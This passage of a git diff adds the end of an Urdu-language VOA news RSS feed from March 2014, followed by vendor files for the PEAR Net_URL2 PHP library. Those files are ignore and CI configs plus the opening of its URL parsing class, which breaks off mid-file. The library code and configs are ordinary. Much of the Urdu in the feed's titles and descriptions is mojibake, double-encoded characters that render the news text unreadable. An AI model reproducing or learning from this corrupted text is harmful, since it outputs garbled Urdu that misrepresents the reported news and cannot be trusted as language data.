+ <category>خبریں</category><category>پاکستان</category><author>noreply@voanews.com (کامران حیدر)</author><comments>http://www.urduvoa.com/content/pakistan-blasphemy-16march/1872314.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/4B7EE696-DB0D-458D-AF9A-F2B16E2E95E1_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>لاپتا طیارے Ú©Û’ پاکستانی حدود میں شواÛد Ù†Ûیں ملے: دÙتر خارجÛ</title>
+ <description><![CDATA[ترجمان دÙتر Ø®Ø§Ø±Ø¬Û ØªØ³Ù†ÛŒÙ… اسلم کا Ú©Ûنا تھا Ú©Û Ù¾Ø§Ú©Ø³ØªØ§Ù† میں ایسی کوئی چیز Ù†Ûیں Ûوئی اور Ù†Û ÛÛŒ راڈار پر کوئی معلومات آئیں۔]]></description>
+ <link>http://www.urduvoa.com/content/malaysia-missing-airliner-pakistan-territory-witness-not-found/1872288.html</link>
+ <guid>http://www.urduvoa.com/content/malaysia-missing-airliner-pakistan-territory-witness-not-found/1872288.html</guid>
+ <pubDate>Sun, 16 Mar 2014 09:28:34 -0400</pubDate>
+ <category>خبریں</category><category>پاکستان</category><category>ناصر محمود </category><author>noreply@voanews.com (ناصر محمود)</author><comments>http://www.urduvoa.com/content/malaysia-missing-airliner-pakistan-territory-witness-not-found/1872288.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/22B46417-2A72-4728-930E-B41B487210D0_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>لاپتا طیارÛ: تحقیقات کا نیا رخ، تلاش میں 25 ملک سرگرم</title>
+ <description><![CDATA[حکام Ù†Û’ بتایا Ú©Û Ù¾ÙˆÙ„ÛŒØ³ Ù†Û’ جÛاز Ú©Û’ دونوں پائلٹوں Ú©Û’ گھروں Ú©ÛŒ تلاشی بھی Ù„ÛŒ جب Ú©Û Ø§Ù† انجینیئرز سے بھی تحقیقات Ú©ÛŒ جارÛÛŒ Ûیں جن سے Ù…Ù…Ú©Ù†Û Ø·ÙˆØ± پر اس جÛاز سے کوالالمپور سے اڑان بھرنے سے قبل Ø±Ø§Ø¨Ø·Û Ú©ÛŒØ§ گیا ÛÙˆÛ”]]></description>
+ <link>http://www.urduvoa.com/content/search-for-missing-plane-involves-25-countries/1872224.html</link>
+ <guid>http://www.urduvoa.com/content/search-for-missing-plane-involves-25-countries/1872224.html</guid>
+ <pubDate>Sun, 16 Mar 2014 08:00:32 -0400</pubDate>
+ <category>خبریں</category><category>دنیا</category><comments>http://www.urduvoa.com/content/search-for-missing-plane-involves-25-countries/1872224.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/7697AB54-137C-45D1-AD79-3C510B394C65_cx0_cy9_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>شام: باغیوں Ú©Û’ زیر تسلط علاقے پر سرکاری Ù‚Ø¨Ø¶Û Ø¨Ø­Ø§Ù„</title>
+ <description><![CDATA[سرکاری Ùورسز ایک عرصے سے یبرود نامی علاقے میں کارروائیاں کرتی آرÛÛŒ تھیں جس کا مقصد سرحد پار سے باغیوں Ú©ÛŒ رسد Ú©Ùˆ زک Ù¾Ûنچانا تھا۔]]></description>
+ <link>http://www.urduvoa.com/content/syria-security-forces-seized-rebel-held-town/1872206.html</link>
+ <guid>http://www.urduvoa.com/content/syria-security-forces-seized-rebel-held-town/1872206.html</guid>
+ <pubDate>Sun, 16 Mar 2014 06:58:58 -0400</pubDate>
+ <category>خبریں</category><category>مشرق وسطیٰ </category><comments>http://www.urduvoa.com/content/syria-security-forces-seized-rebel-held-town/1872206.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/9D9F3945-9AB9-4462-BE42-98D4767F5DD0_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>پاکستان میں یوٹیوب پر پابندی جلد اٹھا لی جائے گی: وزیر اطلاعات</title>
+ <description><![CDATA[پرویز رشید کا Ú©Ûنا تھا Ú©Û Ù„ÙˆÚ¯ÙˆÚº Ú©Û’ جذبات خصوصاً مذÛبی جذبات مجروح کرنے والی وڈیوز Ú©Ùˆ روکنے Ú©Û’ لیے ایک ساÙÙ¹ ویئر تیار کر لیا گیا ÛÛ’Û”]]></description>
+ <link>http://www.urduvoa.com/content/pakistan-ban-on-youtube/1872190.html</link>
+ <guid>http://www.urduvoa.com/content/pakistan-ban-on-youtube/1872190.html</guid>
+ <pubDate>Sun, 16 Mar 2014 04:32:46 -0400</pubDate>
+ <category>خبریں</category><category>پاکستان</category><comments>http://www.urduvoa.com/content/pakistan-ban-on-youtube/1872190.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/F54EC135-96C3-4DE7-B9AA-8A7C82F3B6E4_cx0_cy6_cw80_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>کرائمیا میں یوکرین سے علیحدگی پر ریÙرنڈم </title>
+ <description><![CDATA[Ø¨Ø­ÛŒØ±Û Ø§Ø³ÙˆØ¯ Ú©Û’ کنارے واقع یوکرین Ú©Û’ اس علاقے میں ریÙرنڈم روس Ú©ÛŒ طر٠سے اقوام Ù…ØªØ­Ø¯Û Ú©ÛŒ سلامتی کونسل میں اس عمل Ú©Û’ خلا٠قرارداد Ú©Û’ ویٹو کرنے Ú©Û’ ایک دن بعد شروع Ûوا۔]]></description>
+ <link>http://www.urduvoa.com/content/ukraine-crimea-referendum/1872185.html</link>
+ <guid>http://www.urduvoa.com/content/ukraine-crimea-referendum/1872185.html</guid>
+ <pubDate>Sun, 16 Mar 2014 03:35:53 -0400</pubDate>
+ <category>خبریں</category><category>دنیا</category><comments>http://www.urduvoa.com/content/ukraine-crimea-referendum/1872185.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/A5BDE893-E02B-4C45-9CBE-16778CF193F5_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>Ù…Ø¬ÙˆØ²Û Ø³Ú©ÛŒÙˆØ±Ù¹ÛŒ معاÛدے پر دستخط Ù†Ûیں کروں گا: اÙغان صدر</title>
+ <description><![CDATA[حامد کرزئی کا Ú©Ûنا تھا Ú©Û Ø§Ùغانستان Ú©Û’ عوام Ø§Ù…Ø±ÛŒÚ©Û Ú©Û’ ساتھ سکیورٹی معاÛدے Ú©Û’ خلا٠نÛیں Ûیں لیکن اÙغان عوام Ú©Û’ لیے بھی کسی دوسرے ملک Ú©ÛŒ طرح امن زندگی Ú©ÛŒ بنیاد ÛÛ’Û”]]></description>
+ <link>http://www.urduvoa.com/content/afghanistan-karazi-last-adress-to-parliament/1872173.html</link>
+ <guid>http://www.urduvoa.com/content/afghanistan-karazi-last-adress-to-parliament/1872173.html</guid>
+ <pubDate>Sun, 16 Mar 2014 00:52:18 -0400</pubDate>
+ <category>خبریں</category><category>جنوبی ایشیا</category><comments>http://www.urduvoa.com/content/afghanistan-karazi-last-adress-to-parliament/1872173.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/F89B947E-BB71-41D2-B2A4-4F5777B3ABDE_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>لاڑکانÛ:مقدس اوراق Ú©ÛŒ بے حرمتی Ú©Û’ الزام میں ایک شخص گرÙتار </title>
+ <description><![CDATA[ÙˆØ§Ù‚Ø¹Û ÛÙتے Ú©ÛŒ رات Ù„Ø§Ú‘Ú©Ø§Ù†Û Ú©Û’ علاقے جناح باغ Ú†ÙˆÚ© پر پیش آیا۔ Ú©Ú†Ú¾ لوگوں Ù†Û’ زیرحراست شخص پر مقدس اوراق Ú©ÛŒ بے حرمتی کرنے کا الزام لگاتے Ûوئے جلاوٴ گھیراوٴ شروع کردیا۔]]></description>
+ <link>http://www.urduvoa.com/content/larkana-tention/1872130.html</link>
+ <guid>http://www.urduvoa.com/content/larkana-tention/1872130.html</guid>
+ <pubDate>Sat, 15 Mar 2014 19:27:08 -0400</pubDate>
+ <category>خبریں</category><category>پاکستان</category><enclosure url="http://gdb.voanews.com/B6BA48F0-B3FF-4099-89AE-7BFFB21D9ED1_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title> ’ ینگ گلوبل لیڈرز پروگرام ‘ کے لئے تین پاکستانی منتخب</title>
+ <description><![CDATA[عالمی اقتصادی گلوبل لیڈرشپ پروگرام کیلئے اس سے قبل آسکر ایوارڈ یاÙØªÛ Ù¾Ø§Ú©Ø³ØªØ§Ù†ÛŒ Ùلم میکر شرمین عبید چنائے بھی منتخب ÛÙˆÚ†Ú©ÛŒ Ûیں.]]></description>
+ <link>http://www.urduvoa.com/content/three-pakistanis-in-global-leadership-program/1872109.html</link>
+ <guid>http://www.urduvoa.com/content/three-pakistanis-in-global-leadership-program/1872109.html</guid>
+ <pubDate>Sat, 15 Mar 2014 17:42:44 -0400</pubDate>
+ <category>خبریں</category><category>تعلیم</category><comments>http://www.urduvoa.com/content/three-pakistanis-in-global-leadership-program/1872109.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/E8FE46DC-8DDC-44DA-AF49-57EE97D94C46_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>لیاری گینگ وار ØŒ دونوں گروپس میں امن معاÛدÛ</title>
+ <description><![CDATA[لیاری میں تین دنوں تک شدید گینگ وار Ú©Û’ بعد ÛÙتے Ú©Ùˆ دونوں گروپوں میں امن معاÛØ¯Û Ø·Û’ پاگیا Û” قومی عوامی تحریک Ú©Û’ رÛنما ایاز لطی٠پلیجو Ù†Û’ معاÛدے Ú©Ùˆ تکمیل تک Ù¾Ûنچانے Ú©Û’ لئے اپنی خدمات کا دعویٰ کیا ÛÛ’Û”]]></description>
+ <link>http://www.urduvoa.com/content/lyari-gan-war-edns/1872108.html</link>
+ <guid>http://www.urduvoa.com/content/lyari-gan-war-edns/1872108.html</guid>
+ <pubDate>Sat, 15 Mar 2014 17:40:04 -0400</pubDate>
+ <category>خبریں</category><category>پاکستان</category><enclosure url="http://gdb.voanews.com/90FC1184-9097-4331-A476-F532D58BD60C_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>کراچی ØŒ سال 2014 کا Ù¾Ûلا پولیو کیس سامنے آگیا</title>
+ <description><![CDATA[Ø¨Ù„Ø¯ÛŒÛ Ù¹Ø§ÙˆÙ´Ù† Ú©ÛŒ رÛائشی دو Ø³Ø§Ù„Û Ø¨Ú†ÛŒ مزدلÙÛ Ù…ÛŒÚº پولیو وائرس Ú©ÛŒ تصدیق Ûوگئی ÛÛ’Û” اس Ú©Û’ ساتھ ÛÛŒ ملک بھر میں رواں سال سامنے آنے والے کیسز Ú©ÛŒ تعداد 29Ûوگئی ÛÛ’Û”]]></description>
+ <link>http://www.urduvoa.com/content/sindh-first-polio-case-found-in-karachi-2014/1872083.html</link>
+ <guid>http://www.urduvoa.com/content/sindh-first-polio-case-found-in-karachi-2014/1872083.html</guid>
+ <pubDate>Sat, 15 Mar 2014 15:44:04 -0400</pubDate>
+ <category>خبریں</category><category>صحت-سائنس</category><author>noreply@voanews.com (Ø´Ø§Ø¦Ø³ØªÛ Ø¬Ù„ÛŒÙ„)</author><comments>http://www.urduvoa.com/content/sindh-first-polio-case-found-in-karachi-2014/1872083.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/0EAD081F-3832-46DA-84C4-70E782F49A53_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>نئی Ùلمیں ’بے وقوÙیاں‘ اور ’نے برز‘ ریلیز Ûوگئیں</title>
+ <description><![CDATA[Ùلم â€Ø¨Û’ وقوÙÛŒØ§Úºâ€œØ¬Ù…Ø¹Û Ú©Ùˆ بھارت Ú©Û’ ساتھ ساتھ پاکستانی سنیماگھروں Ú©ÛŒ بھی زینت بن Ú†Ú©ÛŒ ÛÛ’Û” اسے اس ÛÙتے کا Ùرنٹ رنرر Ú©ÛاجارÛا ÛÛ’Û”Û”Û”]]></description>
+ <link>http://www.urduvoa.com/content/bollywood-box-office-report/1872076.html</link>
+ <guid>http://www.urduvoa.com/content/bollywood-box-office-report/1872076.html</guid>
+ <pubDate>Sat, 15 Mar 2014 15:36:24 -0400</pubDate>
+ <category>خبریں</category><category>آرٹ</category><enclosure url="http://gdb.voanews.com/042B4E3A-C87A-426B-9468-7FE5EF1E4B1E_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>نئی باتیں یاد رکھنے کیلئے پرانی یادیں بھلانا ضروری Ûوگیا!!</title>
+ <description><![CDATA[پرانی اور بے کار یادوں کا بھلا دینا یاداشت اور جذباتی صحت دونوں Ú©Û’ لئے ضروری ÛÛ’Û”Û”Û” کوئی Ùالتو پرانی یاد آئے تو اپنا دھیان دوسری معلومات Ú©ÛŒ طر٠کر دینا چاÛئے جسے انسان یاد کرنا چاÛتا ÛÙˆÛ”Û”]]></description>
+ <link>http://www.urduvoa.com/content/article/1872065.html</link>
+ <guid>http://www.urduvoa.com/content/article/1872065.html</guid>
+ <pubDate>Sat, 15 Mar 2014 15:11:34 -0400</pubDate>
+ <category>خبریں</category><category>صحت-سائنس</category><category>Ø´Ûزاد حسین</category><author>noreply@voanews.com (Ø´Ûزاد حسین)</author><comments>http://www.urduvoa.com/content/article/1872065.html#relatedInfoContainer</comments><enclosure url="http://gdb.voanews.com/025146CA-1CB1-4D86-B8C0-22A6D096C572_cx0_cy25_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>Ù¹ÛŒ ٹوئنٹی ورلڈ Ú©Ù¾ اتوار سے شروع ÛورÛا ÛÛ’</title>
+ <description><![CDATA[پاکستان اور بھارت روایتی حری٠بھی Ûیں Û” دونوں Ú©Ùˆ ایک دوسرے پر برتری ثابت کرنے Ú©Û’ لئے21 مارچ Ú©Ùˆ ایک دوسرے کا سخت Ù…Ù‚Ø§Ø¨Ù„Û Ú©Ø±Ù†Ø§ Ûوگا۔ ÛŒÛ Ù…ÛŒÚ† میرپور میں کھیلا جائے گا۔]]></description>
+ <link>http://www.urduvoa.com/content/world-cup-t-20/1872036.html</link>
+ <guid>http://www.urduvoa.com/content/world-cup-t-20/1872036.html</guid>
+ <pubDate>Sat, 15 Mar 2014 14:05:24 -0400</pubDate>
+ <category>خبریں</category><category>کھیل</category><enclosure url="http://gdb.voanews.com/EB0F9E04-E8B6-4318-BDD3-A427070C0ED3_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ <item>
+ <title>راشن سسٹم ØŒ قحط Ø²Ø¯Û ØªÚ¾Ø± Ú©Û’ مسائل کا مستقل حل Û”Û”!!</title>
+ <description><![CDATA[تھر Ûر سال، دو سال بعد خشک سالی کا شکارÛوجاتا ÛÛ’ اور کوششوں Ú©Û’ باوجود اس کا Ú©Ùˆ ئی مستقل حل Ù†Ûیں Ù†Ú©Ù„ پاتا Û” زیر نظر رتحریر میں کراچی Ú©Û’ ایک ادارے ’پائیلر‘ Ù†Û’ Ú©Ú†Ú¾ تجاویز پیش Ú©ÛŒ Ûیں، Ù…Ù„Ø§Ø­Ø¸Û Ú©ÛŒØ¬Ø¦Û’:]]></description>
+ <link>http://www.urduvoa.com/content/solution-of-drought/1872010.html</link>
+ <guid>http://www.urduvoa.com/content/solution-of-drought/1872010.html</guid>
+ <pubDate>Sat, 15 Mar 2014 12:40:40 -0400</pubDate>
+ <category>خبریں</category><category>پاکستان</category><author>noreply@voanews.com (وسیم صدیقی)</author><enclosure url="http://gdb.voanews.com/8E87943F-441D-47FD-AA1D-88788BDF355A_cx0_cy0_cw0_w800_r1.jpg" length="3123" type="image/jpeg"/>
+ </item>
+ </channel></rss> \ No newline at end of file
diff --git a/vendor/pear/net_url2/.gitignore b/vendor/pear/net_url2/.gitignore
new file mode 100644
index 000000000..0e7f38ac3
--- /dev/null
+++ b/vendor/pear/net_url2/.gitignore
@@ -0,0 +1,7 @@
+# pear related
+/Net_URL2-*.tgz
+
+# composer related
+vendor/
+/composer.lock
+/composer.phar
diff --git a/vendor/pear/net_url2/.scrutinizer.yml b/vendor/pear/net_url2/.scrutinizer.yml
new file mode 100644
index 000000000..bfdb37388
--- /dev/null
+++ b/vendor/pear/net_url2/.scrutinizer.yml
@@ -0,0 +1,38 @@
+filter:
+ excluded_paths:
+ - 'docs/*'
+tools:
+ php_code_coverage:
+ enabled: true
+ test_command: phpunit
+ php_cpd:
+ excluded_dirs:
+ - tests
+ filter:
+ excluded_paths: []
+ php_pdepend:
+ excluded_dirs:
+ - tests
+ php_hhvm:
+ filter:
+ excluded_paths: []
+ php_mess_detector:
+ filter:
+ excluded_paths: []
+ php_analyzer:
+ enabled: true
+ filter:
+ excluded_paths: ['docs/*']
+ php_code_sniffer:
+ enabled: true
+ filter:
+ excluded_paths: ['docs/*']
+ config:
+ tab_width: 4
+ encoding: utf8
+ ruleset: ~
+ standard: PEAR
+ php_loc:
+ excluded_dirs:
+ - tests
+ - docs
diff --git a/vendor/pear/net_url2/.travis.yml b/vendor/pear/net_url2/.travis.yml
new file mode 100644
index 000000000..b911c2c37
--- /dev/null
+++ b/vendor/pear/net_url2/.travis.yml
@@ -0,0 +1,10 @@
+language: php
+
+php:
+ - 5.2
+ - 5.3
+ - 5.4
+ - 5.5
+ - 5.6
+
+script: phpunit --coverage-text tests/Net
diff --git a/vendor/pear/net_url2/Net/URL2.php b/vendor/pear/net_url2/Net/URL2.php
new file mode 100755
index 000000000..6b323fcbf
--- /dev/null
+++ b/vendor/pear/net_url2/Net/URL2.php
@@ -0,0 +1,1218 @@
+<?php
+/**
+ * Net_URL2, a class representing a URL as per RFC 3986.
+ *
+ * PHP version 5
+ *
+ * LICENSE:
+ *
+ * Copyright (c) 2007-2009, Peytz & Co. A/S
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * * Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in
+ * the documentation and/or other materials provided with the distribution.
+ * * Neither the name of the Net_URL2 nor the names of its contributors may
+ * be used to endorse or promote products derived from this software
+ * without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @category Networking
+ * @package Net_URL2
+ * @author Christian Schmidt <schmidt@php.net>
+ * @copyright 2007-2009 Peytz & Co. A/S
+ * @license https://spdx.org/licenses/BSD-3-Clause BSD-3-Clause
+ * @version CVS: $Id$
+ * @link https://tools.ietf.org/html/rfc3986
+ */
+
+/**
+ * Represents a URL as per RFC 3986.
+ *
+ * @category Networking
+ * @package Net_URL2
+ * @author Christian Schmidt <schmidt@php.net>
+ * @copyright 2007-2009 Peytz & Co. A/S
+ * @license https://spdx.org/licenses/BSD-3-Clause BSD-3-Clause
+ * @version Release: @package_version@
+ * @link https://pear.php.net/package/Net_URL2
+ */
+class Net_URL2
+{
+ /**
+ * Do strict parsing in resolve() (see RFC 3986, section 5.2.2). Default
+ * is true.
+ */
+ const OPTION_STRICT = 'strict';
+
+ /**
+ * Represent arrays in query using PHP's [] notation. Default is true.
+ */
+ const OPTION_USE_BRACKETS = 'use_brackets';
+
+ /**
+ * Drop zero-based integer sequences in query using PHP's [] notation. Default
+ * is true.
+ */
+ const OPTION_DROP_SEQUENCE = 'drop_sequence';
+
+ /**
+ * URL-encode query variable keys. Default is true.
+ */
+ const OPTION_ENCODE_KEYS = 'encode_keys';
+
+ /**
+ * Query variable separators when parsing the query string. Every character
+ * is considered a separator. Default is "&".
+ */
+ const OPTION_SEPARATOR_INPUT = 'input_separator';
+
+ /**
+ * Query variable separator used when generating the query string. Default
+ * is "&".
+ */
+ const OPTION_SEPARATOR_OUTPUT = 'output_separator';
+
+ /**
+ * Default options corresponds to how PHP handles $_GET.
+ */
+ private $_options = array(
+ self::OPTION_STRICT => true,
+ self::OPTION_USE_BRACKETS => true,
+ self::OPTION_DROP_SEQUENCE => true,
+ self::OPTION_ENCODE_KEYS => true,
+ self::OPTION_SEPARATOR_INPUT => '&',
+ self::OPTION_SEPARATOR_OUTPUT => '&',
+ );
+
+ /**
+ * @var string|bool
+ */
+ private $_scheme = false;
+
+ /**
+ * @var string|bool
+ */
+ private $_userinfo = false;
+
+ /**
+ * @var string|bool
+ */
+ private $_host = false;
+
+ /**
+ * @var string|bool
+ */
+ private $_port = false;
+
+ /**
+ * @var string
+ */
+ private $_path = '';
+
+ /**
+ * @var string|bool
+ */
+ private $_query = false;
+
+ /**
+ * @var string|bool
+ */
+ private $_fragment = false;
+
+ /**
+ * Constructor.
+ *
+ * @param string $url an absolute or relative URL
+ * @param array $options an array of OPTION_xxx constants
+ *
+ * @uses self::parseUrl()
+ */
+ public function __construct($url, array $options = array())
+ {
+ foreach ($options as $optionName => $value) {
+ if (array_key_exists($optionName, $this->_options)) {
+ $this->_options[$optionName] = $value;
+ }
+ }
+
+ $this->parseUrl($url);
+ }
+
+ /**
+ * Magic Setter.
+ *
+ * This method will magically set the value of a private variable ($var)
+ * with the value passed as the args
+ *
+ * @param string $var The private variable to set.
+ * @param mixed $arg An argument of any type.
+ *
+ * @return void
+ */
+ public function __set($var, $arg)
+ {
+ $method = 'set' . $var;
+ if (method_exists($this, $method)) {
+ $this->$method($arg);
+ }
+ }
+
+ /**
+ * Magic Getter.
+ *
+ * This is the magic get method to retrieve the private variable
+ * that was set by either __set() or it's setter...
+ *
+ * @param string $var The property name to retrieve.
+ *
+ * @return mixed $this->$var Either a boolean false if the
+ * property is not set or the value
+ * of the private property.
+ */
+ public function __get($var)
+ {
+ $method = 'get' . $var;
+ if (method_exists($this, $method)) {
+ return $this->$method();
+ }
+
+ return false;
+ }
+
+ /**
+ * Returns the scheme, e.g. "http" or "urn", or false if there is no
+ * scheme specified, i.e. if this is a relative URL.
+ *
+ * @return string|bool
+ */
+ public function getScheme()
+ {
+ return $this->_scheme;
+ }
+
+ /**
+ * Sets the scheme, e.g. "http" or "urn". Specify false if there is no
+ * scheme specified, i.e. if this is a relative URL.
+ *
+ * @param string|bool $scheme e.g. "http" or "urn", or false if there is no
+ * scheme specified, i.e. if this is a relative
+ * URL
+ *
+ * @return $this
+ * @see getScheme
+ */
+ public function setScheme($scheme)
+ {
+ $this->_scheme = $scheme;
+ return $this;
+ }
+
+ /**
+ * Returns the user part of the userinfo part (the part preceding the first
+ * ":"), or false if there is no userinfo part.
+ *
+ * @return string|bool
+ */
+ public function getUser()
+ {
+ return $this->_userinfo !== false
+ ? preg_replace('(:.*$)', '', $this->_userinfo)
+ : false;
+ }
+
+ /**
+ * Returns the password part of the userinfo part (the part after the first
+ * ":"), or false if there is no userinfo part (i.e. the URL does not
+ * contain "@" in front of the hostname) or the userinfo part does not
+ * contain ":".
+ *
+ * @return string|bool
+ */
+ public function getPassword()
+ {
+ return $this->_userinfo !== false
+ ? substr(strstr($this->_userinfo, ':'), 1)
+ : false;
+ }
+
+ /**
+ * Returns the userinfo part, or false if there is none, i.e. if the
+ * authority part does not contain "@".
+ *
+ * @return string|bool
+ */
+ public function getUserinfo()
+ {
+ return $this->_userinfo;
+ }
+
+ /**
+ * Sets the userinfo part. If two arguments are passed, they are combined
+ * in the userinfo part as username ":" password.
+ *
+ * @param string|bool $userinfo userinfo or username
+ * @param string|bool $password optional password, or false
+ *
+ * @return $this
+ */
+ public function setUserinfo($userinfo, $password = false)
+ {
+ if ($password !== false) {
+ $userinfo .= ':' . $password;
+ }
+
+ if ($userinfo !== false) {
+ $userinfo = $this->_encodeData($userinfo);
+ }
+
+ $this->_userinfo = $userinfo;
+ return $this;
+ }
+
+ /**
+ * Returns the host part, or false if there is no authority part, e.g.
+ * relative URLs.
+ *
+ * @return string|bool a hostname, an IP address, or false
+ */
+ public function getHost()
+ {
+ return $this->_host;
+ }
+
+ /**
+ * Sets the host part. Specify false if there is no authority part, e.g.
+ * relative URLs.
+ *
+ * @param string|bool $host a hostname, an IP address, or false
+ *
+ * @return $this
+ */
+ public function setHost($host)
+ {
+ $this->_host = $host;
+ return $this;
+ }
+
+ /**
+ * Returns the port number, or false if there is no port number specified,
+ * i.e. if the default port is to be used.
+ *
+ * @return string|bool
+ */
+ public function getPort()
+ {
+ return $this->_port;
+ }
+
+ /**
+ * Sets the port number. Specify false if there is no port number specified,
+ * i.e. if the default port is to be used.
+ *
+ * @param string|bool $port a port number, or false
+ *
+ * @return $this
+ */
+ public function setPort($port)
+ {
+ $this->_port = $port;
+ return $this;
+ }
+
+ /**
+ * Returns the authority part, i.e. [ userinfo "@" ] host [ ":" port ], or
+ * false if there is no authority.
+ *
+ * @return string|bool
+ */
+ public function getAuthority()
+ {
+ if (false === $this->_host) {
+ return false;
+ }
+
+ $authority = '';
+
+ if (strlen($this->_userinfo)) {
+ $authority .= $this->_userinfo . '@';
+ }
+
+ $authority .= $this->_host;
+
+ if ($this->_port !== false) {
+ $authority .= ':' . $this->_port;
+ }
+
+ return $authority;
+ }
+
+ /**
+ * Sets the authority part, i.e. [ userinfo "@" ] host [ ":" port ]. Specify
+ * false if there is no authority.
+ *
+ * @param string|bool $authority a hostname or an IP address, possibly
+ * with userinfo prefixed and port number
+ * appended, e.g. "foo:bar@example.org:81".
+ *
+ * @return $this
+ */
+ public function setAuthority($authority)
+ {
+ $this->_userinfo = false;
+ $this->_host = false;
+ $this->_port = false;
+
+ if ('' === $authority) {
+ $this->_host = $authority;
+ return $this;
+ }
+
+ if (!preg_match('(^(([^\@]*)\@)?(.+?)(:(\d*))?$)', $authority, $matches)) {
+ return $this;
+ }
+
+ if ($matches[1]) {
+ $this->_userinfo = $this->_encodeData($matches[2]);
+ }
+
+ $this->_host = $matches[3];
+
+ if (isset($matches[5]) && strlen($matches[5])) {
+ $this->_port = $matches[5];
+ }
+ return $this;
+ }
+
+ /**
+ * Returns the path part (possibly an empty string).
+ *
+ * @return string
+ */
+ public function getPath()
+ {
+ return $this->_path;
+ }
+
+ /**
+ * Sets the path part (possibly an empty string).
+ *
+ * @param string $path a path
+ *
+ * @return $this
+ */
+ public function setPath($path)
+ {
+ $this->_path = $path;
+ return $this;
+ }
+
+ /**
+ * Returns the query string (excluding the leading "?"), or false if "?"
+ * is not present in the URL.
+ *
+ * @return string|bool
+ * @see getQueryVariables
+ */
+ public function getQuery()
+ {
+ return $this->_query;
+ }
+
+ /**
+ * Sets the query string (excluding the leading "?"). Specify false if "?"
+ * is not present in the URL.
+ *
+ * @param string|bool $query a query string, e.g. "foo=1&bar=2"
+ *
+ * @return $this
+ * @see setQueryVariables
+ */
+ public function setQuery($query)
+ {
+ $this->_query = $query;
+ return $this;
+ }
+
+ /**
+ * Returns the fragment name, or false if "#" is not present in the URL.
+ *
+ * @return string|bool
+ */
+ public function getFragment()
+ {
+ return $this->_fragment;
+ }
+
+ /**
+ * Sets the fragment name. Specify false if "#" is not present in the URL.
+ *
+ * @param string|bool $fragment a fragment excluding the leading "#", or
+ * false
+ *
+ * @return $this
+ */
+ public function setFragment($fragment)
+ {
+ $this->_fragment = $fragment;
+ return $this;
+ }
+
+ /**
+ * Returns the query string like an array as the variables would appear in
+ * $_GET in a PHP script. If the URL does not contain a "?", an empty array
+ * is returned.
+ *
+ * @return array
+ */
+ public function getQueryVariables()
+ {
+ $separator = $this->getOption(self::OPTION_SEPARATOR_INPUT);
+ $encodeKeys = $this->getOption(self::OPTION_ENCODE_KEYS);
+ $useBrackets = $this->getOption(self::OPTION_USE_BRACKETS);
+
+ $return = array();
+
+ for ($part = strtok($this->_query, $separator);
+ strlen($part);
+ $part = strtok($separator)
+ ) {
+ list($key, $value) = explode('=', $part, 2) + array(1 => '');
+
+ if ($encodeKeys) {
+ $key = rawurldecode($key);
+ }
+ $value = rawurldecode($value);
+
+ if ($useBrackets) {
+ $return = $this->_queryArrayByKey($key, $value, $return);
+ } else {
+ if (isset($return[$key])) {
+ $return[$key] = (array) $return[$key];
+ $return[$key][] = $value;
+ } else {
+ $return[$key] = $value;
+ }
+ }
+ }
+
+ return $return;
+ }
+
+ /**
+ * Parse a single query key=value pair into an existing php array
+ *
+ * @param string $key query-key
+ * @param string $value query-value
+ * @param array $array of existing query variables (if any)
+ *
+ * @return mixed
+ */
